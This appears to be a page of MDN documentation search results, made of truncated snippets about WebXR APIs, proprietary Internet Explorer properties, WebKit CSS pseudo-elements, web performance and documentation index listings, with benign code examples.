WebIDL file for information on how an iterable declaration in an interface definition causes entries(), forEach(), keys(), and values() methods to be exposed from objects that implement the interface. ...
XRInputSourceEventInit - Web APIs
ffers the following: frame An XRFrame object representing the event frame during which the event took place. This event is not associated with the animation process, and has no viewer information contained within it. inputSource An XRInputSource object representing the input device from which the event is being sent. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEventInit' in that specification. Working Draft Initial definition. ...
XRInputSourcesChangeEvent.session - Web APIs
The XRInputSourcesChangeEvent property session specifies the XRSession to which the input source list change event applies. Syntax let inputsSession = xrInputSourcesChangeEvent.session; Value An XRSession indicating the
WebXR session to which the input source list change applies. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourcesChangeEvent.session' in that specification. Working Draft Initial definition. ...
XRSession.oninputsourceschange - Web APIs
. Therefore if you wish to compare input states between frames, you should make a copy of the content of the state in question. Syntax XRSession.oninputsourceschange = function(event) { ... } Example XRSession.oninputsourceschange = function(event) { console.log("The list of active XR input sources has changed.") } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.oninputsourceschange' in that specification. Working Draft Initial definition. ...
XRSession.onselectend - Web APIs
gesture. For example, this might include releasing a button or joystick. Note: Not to be confused with XRSession.onselectstart and XRSession.onselect. Syntax XRSession.onselectend = function(event) { ... } Example XRSession.onselectend = function(event) { console.log("The user has completed a primary action.") } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.onselectend' in that specification. Working Draft Initial definition. ...
XRSession.onselectstart - Web APIs
pressing a button or moving a joystick. Note: Not to be confused with XRSession.onselect and XRSession.onselectend. Syntax XRSession.onselectstart = function(event) { ... } Example XRSession.onselectstart = function(event) { console.log("The user has started a primary action, but might not have completed it.") } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.onselectstart' in that specification. Working Draft Initial definition. ...
XRSession.onsqueezeend - Web APIs
es that if the user actually intentionally completed the drag, user.heldObject will be null here. That's because (in this example, at least) the handler for the squeeze event has already dropped the object into its new location and then cleared the value of heldObject to indicate that the user is no longer holding anything. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.onsqueezeend' in that specification. Working Draft Initial definition. ...
XRSession.onvisibilitychange - Web APIs
oop so callbacks registered via XRSession.requestAnimationFrame() might not be called. Consult XRSession.visibilityState article for details. Syntax XRSession.onvisibilitychange = function(event) { ... } Example XRSession.onvisibilitychange = function(event) { console.log("The visibility the XR session changed.") } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.onvisibilitychange' in that specification. Working Draft Initial definition. ...
XRSession.renderState - Web APIs
The read-only renderState property of an XRSession object indicates the returns a XRRenderState object describing how the user's environment which should be rendered. The information provided covers the minimum and maximum distance at which to render objects, the vertical field of view to use when rendering the in the inline session mode, and the XR
WebGLLayer to render into for inline composition. While this property is read only, you can call the XRSession method updateRenderState() to make changes. Syntax var xrRenderState = XRSession.renderState; Value An XRRenderState object describing how to render the scene. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.renderState' in that specification. Working...
XRSession.requestReferenceSpace() - Web APIs
XRReferenceSpace Return value A Promise that resolves with an XRReferenceSpace object. Exceptions Rather than throwing true exceptions, requestReferenceSpace() rejects the returned promise with a DOMException whose name is found in the list below: NotSupportedError The requested reference space is not supported. Specifications Specification Status Comment
WebXR Device APIThe definition of 'requestReferenceSpace()' in that specification. Working Draft Initial definition. ...
XRSessionEventInit.session - Web APIs
The XRSessionEventInit dictionary's session property specifies the XRSession for which the event describes a state change. Syntax let sessionEventInit = { session: xrSession }; mySessionEvent = new XRSessionEvent(type, sessionEventInit); mySessionEvent = new XRSessionEvent(type, { session: XRSession }); Value An XRSession object indicating which
WebXR session the event is referring to. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSessionEventInit.session' in that specification. Working Draft Initial definition. ...
XRSystem: ondevicechange - Web APIs
of an immersive device changes. The event that is fired is a "simple event" that implements the Event interface. Syntax navigator.xr.ondevicechange = function(event) { ... }; Value undefined Example navigator.xr.ondevicechange = function(ev) { console.log("The availability of immersive XR devices has changed.") }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'ondevicechange ' in that specification. Working Draft Initial definition. ...
XRView.eye - Web APIs
the progress of a poison effect, or the like, as appropriate for the game's needs. updateInjury() returns true if the eye is still injured or false if the eye has been restored to health by the function,. If the result is false, indicating that the eye is now healthy, we render the scene for that eye. Otherwise, we don't. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRView.eye' in that specification. Working Draft Initial definition. ...
XRView.projectionMatrix - Web APIs
rix = xrView.projectionMatrix; Value A Float32Array object representing the projection matrix for the view. The projection matrix for each eye's view is used to ensure that the correct area of the scene is presented to each eye in order to create a believable 3D scene without introducing discomfort for the user. Examples Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRView.projectionMatrix' in that specification. Working Draft Initial definition. ...
XRViewerPose.views - Web APIs
(gl.FRAMEBUFFER, glLayer.framebuffer); gl.clearColor(0, 0, 0, 1); gl.clearDepth(1); gl.clear(gl.COLOR_BUFFER_BIT, gl.DEPTH_BUFFER_BIT); for (let view of pose.views) { let viewport = glLayer.getViewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the scene for the eye view.eye */ } } Passing each view to getViewport() returns the
WebGL viewport to apply in order to cause the rendered output to be positioned correctly in the framebuffer for renderijng to the corresponding eye on the output device. This code is derived from Drawing a frame in Movement, orientation, and motion: A
WebXR example. You can see more context and see much more on that page. Specifications Specification Status Comment
WebXR De...
XRViewport.height - Web APIs
The read-only XRViewport property height specifies the height, in pixels, of the viewport onto the drawing surface within which the
WebXR view is to be rendered. Along with width and the origin point given by x and y, this defines the area within which rendered content will be drawn. Syntax height = xrViewport.height; Value The viewport's height in pixels. Examples See the main XRViewport page for examples. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRViewport.height' in that specification. Working Draft Initial definition. ...
XRViewport.width - Web APIs
wport, in pixels, onto the drawing surface the 3D scene is to be rendered into. This is defined using this property along with the viewport's height and its origin given by its properties x and y. Syntax width = xrViewport.width; Value The viewport's width in pixels. Examples See the main XRViewport page for examples. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRViewport.width' in that specification. Working Draft Initial definition. ...
XRViewport.x - Web APIs
The read-only XRViewport interface's x property indicates the offset from the left edge of the destination surface (typically a XR
WebGLLayer to the left edge of the viewport within the surface into which
WebXR content is to be rendered. The viewport's y property identifies the y component of the origin, and its is given by the width and height properties. Syntax x = xrViewport.x; Value The offset from the left edge of the rendering surface to the left edge of the viewport, in pixels. Examples See the main XRViewport page for examples. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRViewport.x' in that specification. Working Draft Initial definition. ...
XRVisibilityState - Web APIs
he user, it is not the user's primary focus at the moment; it's also possible the session is not currently visible at all. In order to optimize resource utilization, the user agent may be handling the session's requestAnimationFrame() callbacks at a throttled rate. Input controllers are not being processed for the session. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRVisibilityState' in that specification. Working Draft Initial definition. ...
Introduction - Web APIs
Introduction One noticeable trend in W3C standards has been the effort to separate content from style. This would allow the same style to be reused for multiple content, as well as simplify maintenance and allow a quick (only modify one file) way to change the look of content. CSS (Cascade Style Sheets) was one of the first ways proposed by the W3C. CSS is a simple way to apply style rules to a
web document. These style rules define how the document (the content) should be laid out. However, it has several limitations, such as lack of programming structures and ability to create complex layout models. CSS also has limited support for changing the position of an element. XSL (Extensible Stylesheet Language) Transformations are composed of two parts: XSL elements, which allow the transformat...
msCaching - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msCaching read/write property specifies whether stream data downloaded using XMLHttpRequestis cached to disk or not. This proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax cacheState = object.msCaching Values Type: DOMString Property value Description auto Disables caching for stream or ms-stream data. ...
msCachingEnabled - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msCachingEnabled method gets the current caching state for an XMLHttpRequest. This proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax var cacheState = XMLHttpRequest.msCachingEnabled(); Parameters cacheState[out, retval] Type = boolean. If true, XMLHttpRequest is cached to disk. If false, it is not written to disk. ...
msCapsLockWarningOff - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msCapsLockWarningOff read/write property turns automatic caps lock warning on or off for validated password input fields. This proprietary property is specific to Internet Explorer and Microsoft Edge. Starting with Internet Explorer 10, input type=password fields will automatically display a warning if the caps lock is on. ...
msGetPropertyEnabled - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msGetPropertyEnabled returns whether a given property in the style object is enabled. This proprietary method is specific to Internet Explorer browser. Syntax var retVal = style.msGetPropertyEnabled(name); Parameters name [in] Type: String The name of the property to enable. ...
msGetRegionContent - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msGetRegionContent returns an array of Range instances corresponding to the content from the region flow that is positioned in the region. This proprietary method is specific to Internet Explorer browser. Syntax var retVal = Element.msGetRegionContent(); Parameters retVal [out, reval] Type: MSRangeCollection The name of the property to enable. ...
msPutPropertyEnabled - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msPutPropertyEnabled method sets whether a given property in the style object is enabled or disabled. This proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax var retval = style.msPutPropertyEnabled(propertyName, true); Parameters name[in]: Name of the property. (String) boolean[in]: True = Enable the property. ...
msRegionOverflow - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msRegionOverflow read-only property determines if content fully fits into the region or not. This proprietary property is specific to Internet Explorer. Syntax string = object.msRegionOverflow Values Type:DOMString overflow: The region element's content overflows the region's content box. ...
mssitemodejumplistitemremoved - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The mssitemodejumplistitemremoved event occurs when msSiteModeShowJumpList is called and an item has been removed from a Jump List by the user. This proprietary method is specific to Internet Explorer and Microsoft Edge. ...
msthumbnailclick - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msthumbnailclick event occurs when a user clicks a button or thumbnail icon in the taskbar. This proprietary method is specific to Internet Explorer and Microsoft Edge. ...
-webkit-text-security - CSS: Cascading Style Sheets
-
webkit-text-security is a non-standard CSS property that obfuscates characters in a <form> field (such as <input> or <textarea>) by replacing them with a shape. It only affects fields that are not of type=password. Syntax -
webkit-text-security: circle; -
webkit-text-security: disc; -
webkit-text-security: square; -
webkit-text-security: none; Formal definition Value not found in DB! Formal syntax Syntax not found in DB! Examples Obscuring a text input Try typing in the field below. If your browser supports this property, the characters should be visually replaced with squares. HTML <label for="name">Name:</label> <input type="text" name="name" id="name" /> CSS input { -
webkit-text-security: square; } Result Specifications Not part of any standard. ...
:-webkit-autofill - CSS: Cascading Style Sheets
The :-
webkit-autofill CSS pseudo-class matches when an <input> element has its value autofilled by the browser. Note: The user agent style sheets of many browsers use !important in their :-
webkit-autofill style declarations, making them non-overrideable by
webpages without resorting to JavaScript hacks. Syntax :-
webkit-autofill Specifications Not part of any standard. ...
::-webkit-inner-spin-button - CSS: Cascading Style Sheets
The ::-
webkit-inner-spin-button CSS pseudo-element is used to style the inner part of the spinner button of number picker input elements. Syntax ::-
webkit-inner-spin-button Examples These examples work only in browsers based on
WebKit and Blink. Changing the cursor in the spin controls In this example, the CSS cursor is changed to pointer whenever the cursor is positioned over the inner part of the input's spin controls. HTML <input type="number"> CSS input[type=number]::-
webkit-inner-spin-button { cursor: pointer; } Result Specifications Not part of any standard. ...
::-webkit-meter-suboptimum-value - CSS: Cascading Style Sheets
The ::-
webkit-meter-suboptimum-value pseudo-element gives a yellow color to the <meter> element when the value attribute falls outside of the low-high range. Syntax ::-
webkit-meter-suboptimum-value Examples This example will only work in browsers based on
WebKit or Blink. HTML <meter min="0" max="10" value="6">Score out of 10</meter> CSS meter::-
webkit-meter-suboptimum-value { background: -
webkit-gradient linear, left top, left bottom; height: 100%; box-sizing: border-box; } Result Specifications Not part of any standard. ...
::-webkit-outer-spin-button - CSS: Cascading Style Sheets
The ::-
webkit-outer-spin-button CSS pseudo-element is used to style the outer part of the spinner button of number picker <input> elements. Syntax ::-
webkit-outer-spin-button Examples These examples only works on browsers based on
WebKit or Blink. Hiding the spinner This example uses input::-
webkit-outer-spin-button to find <input> elements' spinner widgets and set their -
webkit-appearance to none, thus hiding them. HTML <input type="number"> CSS input::-
webkit-outer-spin-button { -
webkit-appearance: none; } Result Specifications Not part of any standard. ...
::-webkit-progress-value - CSS: Cascading Style Sheets
The ::-
webkit-progress-value CSS pseudo-element represents the filled-in portion of the bar of a <progress> element. It is a child of the ::-
webkit-progress-bar pseudo-element. Note: In order to let ::-
webkit-progress-value take effect, -
webkit-appearance needs to be set to none on the <progress> element. Syntax ::-
webkit-progress-value Examples This example will only work in browsers based on Blink or
WebKit. HTML <progress value="10" max="50"> CSS progress { -
webkit-appearance: none; } ::-
webkit-progress-value { background-color: orange; } Result Result screenshot A progress bar using the style above would look like this: Specifications Not part of any standard. ...
::-webkit-search-cancel-button - CSS: Cascading Style Sheets
The ::-
webkit-search-cancel-button CSS pseudo-element represents a button (the "cancel button") at the edge of an <input> of type="search" which clears away the current value of the <input> element. This button and pseudo-element are non-standard, supported only in
WebKit and Blink, hence the vendor prefix. The clear button is only shown on non-empty search <input> elements. Syntax selector::-
webkit-search-cancel-button Specifications Not part of any standard. ...
::-webkit-search-results-button - CSS: Cascading Style Sheets
The ::-
webkit-search-results-button CSS pseudo-element represents a button (the "search results button") at the left edge of an <input> of type="search" which when clicked displays a menu which allows the user to choose from previous recent search queries. This button and pseudo-element are non-standard, supported only in
WebKit and Blink, hence the vendor prefix. The search results button is only shown on search <input> elements that have a results attribute. Syntax selector::-
webkit-search-results-button Specifications Not part of any standard. ...
::-webkit-slider-thumb - CSS: Cascading Style Sheets
The ::-
webkit-slider-thumb CSS pseudo-element represents the "thumb" that the user can move within the "groove" of an <input> of type="range" to alter its numerical value. Syntax ::-
webkit-slider-thumb Specifications Not part of any standard. ...
-webkit-animation - CSS: Cascading Style Sheets
The -
webkit-animation Boolean CSS media feature is a Chrome extension whose value is true if vendor-prefixed CSS animations are supported. Apple has a description in Safari CSS Reference. Note: This media feature is only supported by
WebKit. If possible, use an @supports feature query instead. Syntax The -
webkit-animation media feature is a Boolean whose value is true if the vendor-prefixed CSS animation properties are supported. Values true The browser supports -
webkit prefixed CSS animations. false The browser doesn't support these prefixed CSS animations. Examples @media (-
webkit-animation) { /* CSS to use if animations are supported */ } Specifications Not part of any standard. ...
dir - Web app manifests
to left The directionality-capable members are: name short_name description Note: If the value is omitted or set to auto, the browser will use the Unicode bidirectional algorithm to make a best guess about the text's direction. Example "dir": "rtl", "lang": "ar", "short_name": "!??? ?? ???????" Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'dir' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
screenshots - Web app manifests
Type Object Mandatory No The screenshots member defines an array of screenshots intended to showcase the application. These images are intended to be used by progressive
web app stores. Examples "screenshots" : [ { "src": "screenshot1.
webp", "sizes": "1280x720", "type": "image/
webp" }, { "src": "screenshot2.
webp", "sizes": "1280x720", "type": "image/
webp" } ] Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'screenshots' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
Digital video concepts - Web media technologies
Encoding color Representing the colors in an image or video requires several values for each pixel. What those values are depends on how you "split up" the color when converting it to numeric form. There are several color models, and video codec makes use of one or more of these to represent their pixels during the encoding process as well as after decoding the video frames. ...
Using audio and video in HTML - Web media technologies
More than that, their underlying interfaces are the key to manipulating and playing back media in general, even offscreen. In this guide, we'll review the media elements and how to use them in HTML content. Note: This guide is a planned update to integrate content from various scattered places on MDN into one cohesive document or document set. The work is not yet scheduled but hopefully will come soon. For now, some of the key information you may be looking for can be found in our Learning Area article on the topic. ...
CSS and JavaScript animation performance - Web Performance
In this article, we analyse the performance differences between CSS- and JavaScript-based animation. CSS transitions and animations Both CSS transitions and animations can be used to write animation. They each have their own user scenarios: CSS transitions provide an easy way to make animations occur between the current style and an end CSS state, e.g., a resting button state and a hover state. ...
Critical rendering path - Web Performance
es the size and location of everything on the page. Once layout is determined, pixels are painted to the screen. Optimizing the critical rendering path improves the time to first render. Understanding and optimizing the critical rendering path is important to ensure reflows and repaints can happen at 60 frames per second, to ensure performant user interactions and avoid jank. Understanding CRP
Web performance includes the server requests and responses, loading, scripting, rendering, layout, and the painting of the pixels to the screen. A request for a
web page or app starts with an HTML request. The server returns the HTML - response headers and data. The browser then begins parsing the HTML, converting the received bytes to the DOM tree. The browser initiates requests every time it finds...
Understanding latency - Web Performance
cause the connection to the server is already set. Latency describes the amount of delay on a network or Internet connection. Low latency implies that there are no or almost no delays. High latency implies that there are many delays. One of the main aims of improving performance is to reduce latency. The latency associated with a single asset, especially a basic HTML page, may seem trivial. But
websites generally involve multiple requests: the HTML includes requests for multiple CSS, scripts, and media files. The greater the number and size of these requests, the greater the impact of high latency on user experience. On a connection with low latency, requested resources will appear almost immediately. On a connection with high latency, there will be a discernible delay between the time th...
HTML documentation index - HTML: Hypertext Markup Language
It defines the meaning and structure of
web content. Other technologies besides HTML are generally used to describe a
web page's appearance/presentation (CSS) or functionality/behavior (JavaScript). ...
...It defines the meaning and structure of
web content. Other technologies besides HTML are generally used to describe a
web page's appearance/presentation (CSS) or functionality/behavior (JavaScript). ...
... Found 237 pages: # Page Tags and summary 1 HTML: Hypertext Markup Language HTML, HTML5, Landing,
Web, l10n:priority HTML (HyperText Markup Language) is the most basic building block of the
Web. It defines the meaning and structure of
web content. Other technologies besides HTML are generally used to describe a
web page's appearance/presentation (CSS) or functionality/behavior (JavaScript). 2 Allowing cross-origin use of images and canvas Advanced, CORS, Canvas, HTML, Image, Reference, Security, Storage, data HTML provides a crossorigin attribute for images that, in combination with an appropriate CORS header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had ...
...And 123 more matches
Index - Archive of obsolete content
Archive, Landing Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build
Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked. 2 .htaccess ( hypertext access ) 301 redirect, Cache control, Custom Error pages, HTACCESS, Permanent Redirect, Redirect File Accessing : htaccess files can be opened using any text editor, like Windows Notepad, Vin, Sublime text editor or any...
...ages, HTACCESS, Permanent Redirect, Redirect File Accessing : htaccess files can be opened using any text editor, like Windows Notepad, Vin, Sublime text editor or any other. Syntax highliting support for .htaccess files less. 3 2015 MDN Fellowship Program 2015, Archive, fellowship No summary! 4 API API, Archive Archived documentation about obsolete
web standards APIs. 5 Navigator API, Navigator Features that used to hang off the Navigator interface, but have since been removed. 6 Navigator.mozNotification API, Deprecated, Mobile, Non-standard, Property, Reference Provides support for creating notification objects, which are used to display desktop notification alerts to the user. Currently, these are on...
... Sensors, events No summary! 9 Add-ons Add-ons, Archive, Extensions Archived add-ons documentation. 10 Add-on SDK Add-on SDK, Jetpack No summary! 11 Builder No summary! 12 Guides Add-on SDK No summary! 13 Content Scripts Add-on SDK Many add-ons need to access and modify the content of
web pages. But the main add-on code doesn't get direct access to
web content. Instead, SDK add-ons need to factor the code that gets access to
web content into separate scripts that are called content scripts. This page describes how to develop and implement content scripts. 14 Communicating With Other Scripts No summary! 15 Communicating using "port" To e...
...And 122 more matches
HTTP Index - HTTP
It was designed for communication between
web browsers and
web servers, but it can also be used for other purposes. HTTP follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. ...
... This page lists all MDN HTTP pages along with their summary and tags. Found 277 pages: # Page Tags and summary 1 HTTP HTTP, Hypertext, Reference, TCP/IP,
Web,
Web Development, l10n:priority Hypertext Transfer Protocol (HTTP) is an application-layer protocol for transmitting hypermedia documents, such as HTML. It was designed for communication between
web browsers and
web servers, but it can also be used for other purposes. HTTP follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. HTTP is a stateless protocol, meaning that the server does not keep any data (state) between two requests. Though often based on a TCP/IP layer, it can be used on any reliable transport layer, t...
...h often based on a TCP/IP layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like UDP does. RUDP -- the reliable update of UDP -- is a suitable alternative. 2 A typical HTTP session HTTP In client-server protocols, like HTTP, sessions consist of three phases: 3 An overview of HTTP HTML, HTTP, Overview,
WebMechanics, l10n:priority HTTP isthe foundation of any data exchange on the
Web and it is a client-server protocol, which means requests are initiated by the recipient, usually the
Web browser. A complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 Basics of HTTP Guide, HTTP, Over...
...And 42 more matches
Index
ivileged JavaScript context. The result is structured cloned back to the original context, unless it is native (for example, if it returns a DOM node, this is not structured cloned, because the original context will see that through an XrayWrapper already), so it's guaranteed to behave predictably. This is useful for privileged code, such as add-on code, to access variables and APIs defined in
web content. 36 Components.utils.exportFunction API, Add-ons, Components, Extensions, Language Bindings, Method, Mozilla, Non-standard, Reference,
WebExtensions, XPCOM This function provides a safe way to expose a function from a privileged scope to a less-privileged scope. 37 Components.utils.forceGC NeedsContent, XPCOM, XPCOM:Language Bindings, XPConnect Co...
...ple, you can import XPCOMUtils.jsm to avoid copy/pasting long XPCOM component registration boilerplate in your component files. 41 Components.utils.importGlobalProperties Imports various objects into a system scope. 42 Components.utils.isXrayWrapper When privileged JavaScript in Gecko accesses objects belonging to less-privileged code (such as untrusted
web content), it does so, by default, with "Xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways. For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native properties have been redefined, this has no effect. ...
...transactions take place. 72 Observer Notifications XPCOM, XPCOM:Add-ons The following are topics that you can observe during the course of an application. Unless otherwise noted you register for the topics using the nsIObserverService. 73 Setting HTTP request headers Add-ons, Extensions, HTTP, XUL, XULRunner HTTP is one of the core technologies behind the
Web. In addition to the actual content, some important information is passed with HTTP headers for both HTTP requests and responses. 74 Storage Guide, Interfaces, Storage, Toolkit API Storage is a SQLite database API. It is available to trusted callers, meaning extensions and Firefox components only. 75 Performance Storage, Toolkit API mozStorage uses SQLite ...
...And 41 more matches
Index - Firefox Developer Tools
Found 158 pages: # Page Tags and summary 1 Firefox Developer Tools Developing Mozilla, Guide, Tools,
Web Development,
Web Development:Tools, l10n:priority Firefox Developer Tools is a set of
web developer tools built into Firefox. You can use them to examine, edit, and debug HTML, CSS, and JavaScript. 2 3D view HTML, Tools,
Web Development,
Web Development:Tools When you click on the 3D view button, the page goes into 3D view mode; in this mode, you can see your page presented in a 3D view in which nested blocks of HTML are increasingly "tall," projecting outward from the bottom of the page. This view makes it easy to visualize the nesting of your content. 3 Accessibility Inspector Accessibility, Accessibility in...
...e, allowing you to check what's missing or otherwise needs attention. This article takes you through the main features of the Accessibility Inspector and how to use it. 4 Color vision simulation Accessibility, Accessibility inspector, Color blindness, DevTools, Guide, Simulation, Tools The simulator in the Accessibility Inspector in Firefox Developer Tools lets you see what a
web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. 5 Add-ons
Web Development,
Web Development:Tools Developer tools that are not built into Firefox, but ship as separate add-ons. 6 DOM Inspector DOM, DOM:Tools, DOM_Inspector, Extensions, Extensions:Tools, Themes,...
...to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. 5 Add-ons
Web Development,
Web Development:Tools Developer tools that are not built into Firefox, but ship as separate add-ons. 6 DOM Inspector DOM, DOM:Tools, DOM_Inspector, Extensions, Extensions:Tools, Themes, Themes:Tools, Tools,
Web Development,
Web Development:Tools, XUL, XUL:Tools The DOM Inspector (also known as DOMi) is a developer tool used to inspect, browse, and edit the Document Object Model of documents - usually
web pages or XUL windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within. 7 DOM Inspector FAQ ...
...And 38 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
f a centralized auto-configuration of Mozilla apps, that are; Firefox, Thunderbird, Mozilla Suite 1.x.x, Seamonkey and for the record, old Netscape 4.x. Its original inspiration comes from http://www.alain.knaff.lu/howto/MozillaCustomization/ and http://mit.edu/~firefox/www/maintain...utoconfig.html. For history, I've kept Mozilla and Netscape chapters, as certain points are complementary to the
web-based AutoConfig file. This MCD (aka autoconfig here), is not to be confused with https://wiki.mozilla.org/Thunderbird...oconfiguration . It's Mission is to enable completely automatic configuration of mozilla's apps preferences based on users properties either retrieved from system environement variables or on an organisation ldap directory. Situation INT-Evry manages about 3000 users (mostly...
... users (mostly students) who share computers in labs and "self service" computer rooms. Hence a single computer might connect many different users all day long. Computers are dual-boot (Windows 7 and Linux Fedora 19 by 2013). All users have a personal account on a Windows server (AD) and an LDAP account for Linux authentication. Objective The objective is to provide users with a mailer agent, a
web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer. Choosing Mozilla products allow us to use the same apps while running either Windows or Linux systems (I suspect MAC OSX would be fine too). Instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centraliz...
...ROR_NOT_INITIALIZED)" location: "JS frame :: file:////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js :: getLDAPAttributes :: line 174" data: no] bug 295329 had been re-opened . AutoConfig Option and LDAP Support in Thunderbird 1.5.x Fortunately, AutoConfig is now part of Thunderbird default packages. MOZ_LDAP_XPCOM=1 and MOZ_EXTENSIONS_DEFAULT="wallet spellcheck xmlextras pref
webservices universalcharset auth" are now present in the default configure script. See bug 295329 for details. Add the AutoConfig Option for Old Thunderbird 1.0.x By default, AutoConfig did not make part of the binaries distribution of Thunderbird (1.0.x). It was apparently supposed to increase the load of the binary for a feature not used by lots of individuals. However for enterprise deployment,...
...And 32 more matches
Overview of Mozilla embedding APIs
Manager exposes all of the available XPCOM services - each service represents a global object which provides some piece of functionality. The Component Manager allows new instances of registered XPCOM components to be instantiated. The embedding layer consists of several components built on top of XPCOM and its services. Much of the Gecko functionality is exposed through a component called the ns
WebBrowser. Embedding applications can leverage this component to easily access many of Gecko's features. Each
WebBrowser instance represents the "client-area" of a typical browser window. The
WebBrowser exposes a set of interfaces which allow the embedding application to control activity and respond to changes within this client area. Using these interfaces an embedding application can build up its ...
... Public Classes The following utility classes are available from the XPCOM DLL. They provide some basic functionality which should be leveraged when building new XPCOM components. ...
...ACTID Implemented Interfaces: nsIExternalHelperAppService Preferences Service The Preferences service provides access to persistent data stored within a user's profile directory. ...
...And 31 more matches
Using CSS transitions - CSS: Cascading Style Sheets
y defined by the browser. CSS transitions let you decide which properties to animate (by listing them explicitly), when the animation will start (by setting a delay), how long the transition will last (by setting a duration), and how the transition will run (by defining a timing function, e.g. linearly or quick at the beginning, slow at the end). Which CSS properties can be transitioned? The
Web author can define which property has to be animated and in which way. This allows the creation of complex transitions. As it doesn't make sense to animate some properties, the list of animatable properties is limited to a finite set. Note: The set of properties that can be animated is changing as the specification develops. The auto value is often a very complex case. The specification recommen...
...sense to animate some properties, the list of animatable properties is limited to a finite set. Note: The set of properties that can be animated is changing as the specification develops. The auto value is often a very complex case. The specification recommends not animating from and to auto. Some user agents, like those based on Gecko, implement this requirement and others, like those based on
WebKit, are less strict. Using animations with auto may lead to unpredictable results, depending on the browser and its version, and should be avoided. Defining transitions CSS Transitions are controlled using the shorthand transition property. This is the best way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very frustrating to have to spend lots of...
...during the transition, or multiple values to allow each property to transition over a different period of time. ...
...And 31 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
Note This article is the version from 2003 with slight modifications (no images and no links to samples). It's here for reference. Introduction When you click a link on a
web page, your
web browser makes a request to a
web server which usually results in a new
web page as a response. That new page may have links that take you to other pages, which may in turn have more links, and so on. This model of
web navigation is so common that most Internet users do little else. But as the Internet matures, this model has begun to show its age and its limitations. For
web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources. And for users it usually doesn't begin to approach the seamlessness and usability of good a...
...lse. But as the Internet matures, this model has begun to show its age and its limitations. For
web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources. And for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces. Recently, however, modern browsers and enriched
web standards have begun to make new navigational and presentational models possible. One such model is Inner-Browsing, which is our name for a model in which all navigation occurs within a single page, as in a typical application interface. The single-page context and abstraction of data from the presentation can give your
web applications new continuity, precision and control. This model is also in...
...e. One such model is Inner-Browsing, which is our name for a model in which all navigation occurs within a single page, as in a typical application interface. The single-page context and abstraction of data from the presentation can give your
web applications new continuity, precision and control. This model is also interesting because is optimized to access contextual data instead reloading full
web pages. This article discusses the concept of inner-browsing and possible approaches for its implementation. It also provides two implementation examples using the model. The first one looks like a traditional DHTML ticker application and uses hidden IFRAMES and JavaScript to provide updates inside the
webpage's ticker headlines section. This sample was made using IFRAMEs to illustrate a possible ...
...And 28 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
Warning: The content of this article may be out of date. This article was written in 2003 and is not on par with current standards. This article is outdated, do not follow it. Have a look to the more current article Writing forward-compatible
websites to find modern informations. Improper browser detection can lead to
web maintenance nightmares. Rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser
web content. This article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. Quick Tip If you must determine if a visitor is using a Gecko-based browser, simply test navigator.product == 'Gecko' or look for the string 'Gec...
